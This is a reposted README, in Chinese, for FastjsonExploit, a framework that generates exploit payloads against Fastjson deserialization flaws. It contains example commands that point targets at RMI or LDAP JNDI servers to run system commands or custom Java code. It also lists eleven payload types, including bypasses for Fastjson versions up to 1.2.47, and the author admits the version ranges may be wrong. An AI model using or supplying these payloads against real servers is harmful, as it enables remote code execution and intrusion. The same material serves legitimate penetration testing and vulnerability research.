FastjonExploit | Fastjson漏洞快速利用框架

月师傅

FastjonExploit | Fastjson漏洞快速利用框架
0x01 Introduce
FastjsonExploit是一个Fastjson漏洞快速漏洞利用框架，主要功能如下：

一键生成利用payload，并启动所有利用环境。
管理Fastjson各种payload（当然是立志整理所有啦，目前6个类，共11种利用及绕过）
0x02 Buiding

Requires Java 1.7+ and Maven 3.x+

mvn clean package -DskipTests

0x03 Usage

1. 
   
2. <div>.---- -. -. .  .   .
   
3.    ( .',----- - - ' '
   
4.     \_/      ;--:-\         __--------------------__
   
5.    __U__n_^_''__[. |ooo___  | |_!_||_!_||_!_||_!_| |
   
6. c(_ ..(_ ..(_ ..( /,,,,,,] | |___||___||___||___| |
   
7. ,_\___________'_|,L______],|______________________|
   
8. /;_(@)(@)==(@)(@)   (o)(o)      (o)^(o)--(o)^(o)
   
9. 
   
10. FastjsonExploit is a Fastjson library vulnerability exploit framework
    
11.                 Author:c0ny1<root@gv7.me>
    
12. 
    
13. 
    
14. Usage: java -jar Fastjson-[version]-all.jar [payload] [option] [command]
    
15. Exp01: java -jar FastjsonExploit-[version].jar JdbcRowSetImpl1 rmi://127.0.0.1:1099/Exploit "cmd:calc"
    
16. Exp02: java -jar FastjsonExploit-[version].jar JdbcRowSetImpl1 ldap://127.0.0.1:1232/Exploit "code:custom_code.java"
    
17. Exp03: java -jar FastjsonExploit-[version].jar TemplatesImpl1 "cmd:calc"
    
18. Exp04: java -jar FastjsonExploit-[version].jar TemplatesImpl1 "code:custom_code.java"
    
19. 
    
20. Available payload types:
    
21.     Payload                PayloadType VulVersion      Dependencies                                      
    
22.     -------                ----------- ----------      ------------                                      
    
23.     BasicDataSource1       local       1.2.2.1-1.2.2.4 tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4
    
24.     BasicDataSource2       local       1.2.2.1-1.2.2.4 tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4
    
25.     JdbcRowSetImpl1        jndi        1.2.2.1-1.2.2.4                                                   
    
26.     JdbcRowSetImpl2        jndi        1.2.2.1-1.2.4.1 Fastjson 1.2.41 bypass                           
    
27.     JdbcRowSetImpl3        jndi        1.2.2.1-1.2.4.3 Fastjson 1.2.43 bypass                           
    
28.     JdbcRowSetImpl4        jndi        1.2.2.1-1.2.4.2 Fastjson 1.2.42 bypass                           
    
29.     JdbcRowSetImpl5        jndi        1.2.2.1-1.2.4.7 Fastjson 1.2.47 bypass                           
    
30.     JndiDataSourceFactory1 jndi        1.2.2.1-1.2.2.4 ibatis-core:3.0                                   
    
31.     SimpleJndiBeanFactory1 jndi        1.2.2.2-1.2.2.4 spring-context:4.3.7.RELEASE                     
    
32.     TemplatesImpl1         local       1.2.2.1-1.2.2.4 xalan:2.7.2(need Feature.SupportNonPublicField)   
    
33.     TemplatesImpl2         local       1.2.2.1-1.2.2.4 xalan:2.7.2(need Feature.SupportNonPublicField)  </div>

复制代码

0x04 Notice
帮助信息所说明的payload可利用的Fastjson版本，不一定正确。后续测试更正！
0x05 Reference
https://github.com/frohoff/ysoserial
https://github.com/mbechler/marshalsec
https://github.com/kxcode/JNDI-Exploit-Bypass-Demo



下载地址  https://github.com/c0ny1/FastjsonExploit